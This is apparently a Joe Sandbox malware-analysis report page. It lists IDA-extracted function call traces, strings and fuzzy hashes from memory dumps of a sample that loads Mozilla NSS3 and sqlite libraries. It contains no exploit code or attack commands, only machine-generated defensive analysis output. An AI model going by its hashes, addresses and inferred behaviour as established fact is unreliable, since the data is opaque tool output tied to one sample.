Associated: 00000000.00000002.2706321134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706381030.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2706404847.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: f720f1c3aa7183bd8ed24110f7c816a6ce4d709f5a57fb767e5ca9250014601a
Instruction ID: b2bdbc77596f9693897eda8bc21137a85c06c6467ddc4d83fcbced6ec53e0a56
Opcode Fuzzy Hash: f720f1c3aa7183bd8ed24110f7c816a6ce4d709f5a57fb767e5ca9250014601a
Instruction Fuzzy Hash: F3F0D612E2974CD7DB50DF34A8411AA7370AFBF618B20171BE84453551FB20A2D88382

Non-executed Functions

Function 6CA90700 Relevance: 145.2, APIs: 96, Instructions: 1215threadmemorytimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CA90747

Part of subcall function 6CAE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA887ED,00000800,6CA7EF74,00000000), ref: 6CAE1000
Part of subcall function 6CAE0FF0: PR_NewLock.NSS3(?,00000800,6CA7EF74,00000000), ref: 6CAE1016
Part of subcall function 6CAE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA887ED,00000008,?,00000800,6CA7EF74,00000000), ref: 6CAE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CA90760

Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE10F3
Part of subcall function 6CAE10C0: EnterCriticalSection.KERNEL32(?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE110C
Part of subcall function 6CAE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1141
Part of subcall function 6CAE10C0: PR_Unlock.NSS3(?,?,?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE1182
Part of subcall function 6CAE10C0: TlsGetValue.KERNEL32(?,6CA88802,00000000,00000008,?,6CA7EF74,00000000), ref: 6CAE119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA9078C

Part of subcall function 6CADFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAD8D2D,?,00000000,?), ref: 6CADFB85
Part of subcall function 6CADFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CADFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBA9AEC,?), ref: 6CA907A4

Part of subcall function 6CADB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBB18D0,?), ref: 6CADB095

PR_SetError.NSS3(FFFFE076,00000000), ref: 6CA90932

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

PR_GetCurrentThread.NSS3 ref: 6CA907B0

Part of subcall function 6CB49BF0: TlsGetValue.KERNEL32(?,?,?,6CB90A75), ref: 6CB49C07

DER_GetInteger_Util.NSS3(-00000004), ref: 6CA907D4
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA9093D
PR_SetError.NSS3(FFFFE09D,00000000), ref: 6CA90972
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBA9D5C,?), ref: 6CA90998
PR_GetCurrentThread.NSS3 ref: 6CA909A8
PR_SetError.NSS3(FFFFE081,00000000), ref: 6CA909C5
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CA90A7A
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBA9BEC,?), ref: 6CA90AC2
PR_GetCurrentThread.NSS3 ref: 6CA90AD2
CERT_ImportCerts.NSS3(?,0000000A,?,?,00000000,00000000,00000000,00000000), ref: 6CA90B2B
PR_SetError.NSS3(FFFFE081,00000000), ref: 6CA90B44
PORT_NewArena_Util.NSS3(00000800), ref: 6CA90BAC
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,6CBA9D08,?), ref: 6CA90BCD
PR_GetCurrentThread.NSS3 ref: 6CA90BDD
PR_SetError.NSS3(FFFFE081,00000000), ref: 6CA90BFD
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6CA90C11
PR_SetError.NSS3(FFFFE073,00000000), ref: 6CA90C76
PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CA90CF3
SECITEM_ArenaDupItem_Util.NSS3(00000000,?), ref: 6CA90D1B
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,00000000), ref: 6CA90D36
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA90D94
CERT_DestroyCertArray.NSS3(?,00000000), ref: 6CA90DC3
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6CA90DE8
PR_GetCurrentThread.NSS3 ref: 6CA90DFD
PR_SetError.NSS3(FFFFE090,00000000), ref: 6CA90E22
SECITEM_CompareItem_Util.NSS3(00000047), ref: 6CA90E5A
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6CA90E6F
CERT_IsCACert.NSS3(00000000,00000000), ref: 6CA90E7F
PR_SetError.NSS3(FFFFE090,00000000), ref: 6CA90EBC
PR_GetCurrentThread.NSS3 ref: 6CA90F2E
PR_GetCurrentThread.NSS3 ref: 6CA90F3C
PR_SetError.NSS3(FFFFE09D,00000000), ref: 6CA90F51
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CA90F5A
PR_GetCurrentThread.NSS3 ref: 6CA90F7F
CERT_DestroyCertificate.NSS3 ref: 6CA90F95
DER_GeneralizedTimeToTime_Util.NSS3(?,0000009F), ref: 6CA90FE8
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA91060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA9107F
SECOID_FindOID_Util.NSS3(?), ref: 6CA9108C
SECITEM_CompareItem_Util.NSS3(?,00000000), ref: 6CA910CB
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA910F9

Part of subcall function 6CA8F3F0: SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CA8F453
Part of subcall function 6CA8F3F0: SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CA8F4A5
Part of subcall function 6CA8F3F0: SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CA8F4EA

SECITEM_CompareItem_Util.NSS3(?,00000000), ref: 6CA910DD
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CA9110E
PR_SetError.NSS3(FFFFE07E,00000000), ref: 6CA9112A
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA91141
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA9114E
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6CA911B7
SECITEM_CompareItem_Util.NSS3(00000047), ref: 6CA91202
PR_SetError.NSS3(FFFFE07F,00000000), ref: 6CA9121A
SECOID_FindOID_Util.NSS3(?), ref: 6CA91226

Part of subcall function 6CAE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA88298,?,?,?,6CA7FCE5,?), ref: 6CAE07BF
Part of subcall function 6CAE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAE07E6
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE081B
Part of subcall function 6CAE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAE0825

SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA91268
PK11_HashBuf.NSS3(?,?,?,?), ref: 6CA91285
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA91294
SECITEM_CompareItem_Util.NSS3(00000000,?), ref: 6CA912A7

Part of subcall function 6CADFCB0: memcmp.VCRUNTIME140(?,8B0B74C0,04C6831E,?,00000000,?,6CA84101,00000000,?,?,?,6CA81666,?,?), ref: 6CADFCF2

SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA913D1
PK11_HashBuf.NSS3(?,?,?,?), ref: 6CA913F5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA91408
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6CA9143F
PK11_HashBuf.NSS3(?,?,?,?), ref: 6CA9145A
SECITEM_CompareItem_Util.NSS3(00000000,?), ref: 6CA91473
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA91480
SECITEM_AllocItem_Util.NSS3(00000000), ref: 6CA914C1
PK11_HashBuf.NSS3(?,?,?,?,?,00000000,00000000), ref: 6CA914DB
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000,00000000), ref: 6CA914EA
CERT_DestroyCertificate.NSS3(00000000), ref: 6CA914F9

Part of subcall function 6CA895B0: TlsGetValue.KERNEL32(00000000,?,6CAA00D2,00000000), ref: 6CA895D2
Part of subcall function 6CA895B0: EnterCriticalSection.KERNEL32(?,?,?,6CAA00D2,00000000), ref: 6CA895E7
Part of subcall function 6CA895B0: PR_Unlock.NSS3(?,?,?,?,6CAA00D2,00000000), ref: 6CA89605

SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA91522
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CA9153B
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA9155B
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CA912B4

Part of subcall function 6CADFAB0: free.MOZGLUE(?,-00000001,?,?,6CA7F673,00000000,00000000), ref: 6CADFAC7

CERT_DecodeOidSequence.NSS3(?), ref: 6CA912EB
SECOID_FindOID_Util.NSS3(00000000), ref: 6CA91306
PR_SetError.NSS3(FFFFE090,00000000), ref: 6CA91331
free.MOZGLUE(?), ref: 6CA91346
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA91357
CERT_FindCertIssuer.NSS3(?,?,?,0000000B), ref: 6CA9137D
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CA91570
PR_Now.NSS3 ref: 6CA91588
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6CA915D3
PR_Now.NSS3 ref: 6CA91623
DER_GeneralizedTimeToTime_Util.NSS3(?,?), ref: 6CA9164F
PR_SetError.NSS3(FFFFE00C,00000000), ref: 6CA91662
PR_GetCurrentThread.NSS3 ref: 6CA91678

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Util$Item_$Error$Compare$CurrentThread$ArenaZfree$DecodeDestroyHash$Arena_GeneralizedQuickTimeTime_Value$AllocAlloc_CertificateFindK11_$CertEqual_FreeItems$CriticalEnterLookupSectionTableUnlockfree$AllocateArrayCertsConstCopyImportInitInteger_IssuerLockPoolPublicSequencecallocmemcmpmemcpy
String ID:
API String ID: 782668047-0
Opcode ID: 1390d58f8dcb1f84b1787de4b5acd85f535703a0b02866fd829bfefdadc609a6
Instruction ID: fa79cc610b5c641dfa9d28adffe062d006620724ad9576bc68c1f23ea300c567
Opcode Fuzzy Hash: 1390d58f8dcb1f84b1787de4b5acd85f535703a0b02866fd829bfefdadc609a6
Instruction Fuzzy Hash: 55920775A143419FE700CF64DD42B6B77F8AF88348F18452CE98997B61E731E988CB92

Function 6CA96E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBE2120,6CA97E60), ref: 6CA96EBC
TlsGetValue.KERNEL32 ref: 6CA96EDF
EnterCriticalSection.KERNEL32(?), ref: 6CA96EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CA96F25

Part of subcall function 6CA6A900: TlsGetValue.KERNEL32(00000000,?,6CBE14E4,?,6CA04DD9), ref: 6CA6A90F
Part of subcall function 6CA6A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CA6A94F

PR_Unlock.NSS3 ref: 6CA96F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CA96FA9
TlsGetValue.KERNEL32 ref: 6CA970B4
EnterCriticalSection.KERNEL32(?), ref: 6CA970C8
PR_CallOnce.NSS3(6CBE24C0,6CAD7590), ref: 6CA97104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA97117
SECOID_Init.NSS3 ref: 6CA97128
PORT_Alloc_Util.NSS3(00000057), ref: 6CA9714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA9717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA971A9
PR_NotifyAllCondVar.NSS3 ref: 6CA971CF
PR_Unlock.NSS3 ref: 6CA971DD
free.MOZGLUE(?), ref: 6CA971EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA97208
free.MOZGLUE(00000000), ref: 6CA97221
free.MOZGLUE(00000001), ref: 6CA97235
TlsGetValue.KERNEL32 ref: 6CA9724A
EnterCriticalSection.KERNEL32(?), ref: 6CA9725E
PR_NotifyCondVar.NSS3 ref: 6CA97273
PR_Unlock.NSS3 ref: 6CA97281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CA97291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA972B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA972D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA972E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA97301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA97310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA97335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA97344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA97363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA97372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CBD0148,,defaultModDB,internalKeySlot), ref: 6CA974CC
free.MOZGLUE(00000000), ref: 6CA97513
free.MOZGLUE(00000000), ref: 6CA9751B
free.MOZGLUE(00000000), ref: 6CA97528
free.MOZGLUE(00000000), ref: 6CA9753C
free.MOZGLUE(00000000), ref: 6CA97550
free.MOZGLUE(00000000), ref: 6CA97561
free.MOZGLUE(00000000), ref: 6CA97572
free.MOZGLUE(00000000), ref: 6CA97583
free.MOZGLUE(00000000), ref: 6CA97594
free.MOZGLUE(00000000), ref: 6CA975A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CA975BD
free.MOZGLUE(00000000), ref: 6CA975C8
free.MOZGLUE(00000000), ref: 6CA975F1
PR_NewLock.NSS3 ref: 6CA97636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CA97686
PR_NewLock.NSS3 ref: 6CA976A2

Part of subcall function 6CB498D0: calloc.MOZGLUE(00000001,00000084,6CA70936,00000001,?,6CA7102C), ref: 6CB498E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CA976B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CA97707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CA9771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CA97731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CA9774A
DeleteCriticalSection.KERNEL32(?), ref: 6CA97770
free.MOZGLUE(?), ref: 6CA97779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA9779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA977AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CA977C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA977DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CA97821
PORT_Alloc_Util.NSS3(?), ref: 6CA97837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA9785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA9786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CA978AC
free.MOZGLUE(00000000), ref: 6CA978BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CA978F3
free.MOZGLUE(00000000), ref: 6CA978FC
free.MOZGLUE(00000000), ref: 6CA9791C

Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707AD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707CD
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA0204A), ref: 6CA707D6
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA0204A), ref: 6CA707E4
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,6CA0204A), ref: 6CA70864
Part of subcall function 6CA707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA70880
Part of subcall function 6CA707A0: TlsSetValue.KERNEL32(00000000,?,?,6CA0204A), ref: 6CA708CB
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708D7
Part of subcall function 6CA707A0: TlsGetValue.KERNEL32(?,?,6CA0204A), ref: 6CA708FB

Strings

dbm:, xrefs: 6CA97716
sql:, xrefs: 6CA976FE
dll, xrefs: 6CA9788E
NSS Internal Module, xrefs: 6CA974A2, 6CA974C6
extern:, xrefs: 6CA9772B
kbi., xrefs: 6CA97886
,defaultModDB,internalKeySlot, xrefs: 6CA9748D, 6CA974AA
rdb:, xrefs: 6CA97744
Spac, xrefs: 6CA97389
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CA974C7

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 89bc42df68c24e56fa59cc54a8dc259ee8a47e7e270280900282d1af5ba8165e
Instruction ID: 8d1afc68f390f1c35917090efd8020173da8924823ed15983435755cd76d3ce8
Opcode Fuzzy Hash: 89bc42df68c24e56fa59cc54a8dc259ee8a47e7e270280900282d1af5ba8165e
Instruction Fuzzy Hash: 9F52F4B1E102559BEF119F64D9067AE7BF4BF09348F184028ED09E7741EB31D998CBA2

Function 6CAA6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CBAA8EC,0000006C), ref: 6CAA6DC6
memcpy.VCRUNTIME140(?,6CBAA958,0000006C), ref: 6CAA6DDB
memcpy.VCRUNTIME140(?,6CBAA9C4,00000078), ref: 6CAA6DF1
memcpy.VCRUNTIME140(?,6CBAAA3C,0000006C), ref: 6CAA6E06
memcpy.VCRUNTIME140(?,6CBAAAA8,00000060), ref: 6CAA6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAA6E38

Part of subcall function 6CB2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB2C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CAA6E76
TlsGetValue.KERNEL32 ref: 6CAA726F
EnterCriticalSection.KERNEL32(?), ref: 6CAA7283

Strings

!, xrefs: 6CAA7123

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 08007b237ef4f601de521d134e3fb460112a8fdf5a7d3f94b5e9fc0cef565557
Instruction ID: fae3c3e0cc2ce8aada74148abc00661afb116d7aa3b227cef8e9d9a5e9d0024c
Opcode Fuzzy Hash: 08007b237ef4f601de521d134e3fb460112a8fdf5a7d3f94b5e9fc0cef565557
Instruction Fuzzy Hash: 40728D75E052189FDF60CF68CC88B9ABBB5AF48304F1441A9D80DA7711EB31AAC5CF91

Function 6CA6E6E0 Relevance: 44.2, APIs: 17, Strings: 8, Instructions: 452stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,6CA6DA6A,?,00000000,?,?), ref: 6CA6E6FF
sqlite3_initialize.NSS3(?,?,00000000,?,6CA6DA6A,?,00000000,?,?), ref: 6CA6E76B
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6CA6DA6F,///,00000003,?,?,00000000), ref: 6CA6E7AC
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(6CA6DA71,///,00000003), ref: 6CA6E7C8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA6E8E8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA6E908
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA6E921
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA6E978
memcmp.VCRUNTIME140(?,?,6CA6DA6A), ref: 6CA6E991
sqlite3_initialize.NSS3(?,?,00000000,?,6CA6DA6A,?,00000000,?,?), ref: 6CA6E9FA
memcpy.VCRUNTIME140(?,6CA6DA6A,00000000,?,?,00000000), ref: 6CA6EA3A
sqlite3_initialize.NSS3(?,?,00000000), ref: 6CA6EA55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA6EABA
sqlite3_mprintf.NSS3(no such %s mode: %s,6CBBE039,?), ref: 6CA6EB9F
sqlite3_free.NSS3(000000FC,?,?,?,?,00000000), ref: 6CA6EBDB
sqlite3_mprintf.NSS3(no such vfs: %s,?,?,?,00000000), ref: 6CA6EC1A
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,//localhost/,0000000C), ref: 6CA6EC2E

Strings

file, xrefs: 6CA6E738
no such vfs: %s, xrefs: 6CA6EC15
%s mode not allowed: %s, xrefs: 6CA6ECB7
mode, xrefs: 6CA6EC58
cach, xrefs: 6CA6E93A
no such %s mode: %s, xrefs: 6CA6EB9A
///, xrefs: 6CA6E7A3, 6CA6E7C2
//localhost/, xrefs: 6CA6EC26

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706753326.000000006CBDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706807292.000000006CBE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706824364.000000006CBE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: strlen$sqlite3_initializestrncmp$sqlite3_mprintf$memcmpmemcpysqlite3_freestrcmp
String ID: %s mode not allowed: %s$///$//localhost/$cach$file$mode$no such %s mode: %s$no such vfs: %s
API String ID: 3798319595-1352301890
Opcode ID: 035cdf39ddbd71a2a4beae2331709588fd6d85027c09f10eaef875fad188e481
Instruction ID: ae137a9d3fac7c109e3c915cb0985300415510c9df654cb24d8e68214717cabc
Opcode Fuzzy Hash: 035cdf39ddbd71a2a4beae2331709588fd6d85027c09f10eaef875fad188e481
Instruction Fuzzy Hash: 9CF1F3B1E042598FEB10CFA6CC917AEBBB1AF05318F2C4129D86267E81D7356985CBD1

Function 6CA28460 Relevance: 43.1, APIs: 23, Strings: 1, Instructions: 1095COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,00000030), ref: 6CA284FF
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(377F0682), ref: 6CA288BB
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002DE218), ref: 6CA288CE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA288E2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(FFFFFFFF), ref: 6CA288F6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA2894F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA2895F
sqlite3_randomness.NSS3(00000008,?), ref: 6CA28914

Part of subcall function 6CA131C0: sqlite3_initialize.NSS3 ref: 6CA131D6

sqlite3_randomness.NSS3(00000004,?), ref: 6CA28A13
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA28A65
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CA28A6F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA28B87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CA28B94
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(002E5B33), ref: 6CA28BAD

Strings

cannot limit WAL size: %s, xrefs: 6CA29188

Memory Dump Source

Source File: 00000000.00000002.2706488419.000000006CA01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2706463160.000000006CA00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706693269.000000006CB9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2706736327.000000006CBDE000.00000004.00000001.01000000.00000009.sdmpDownload File
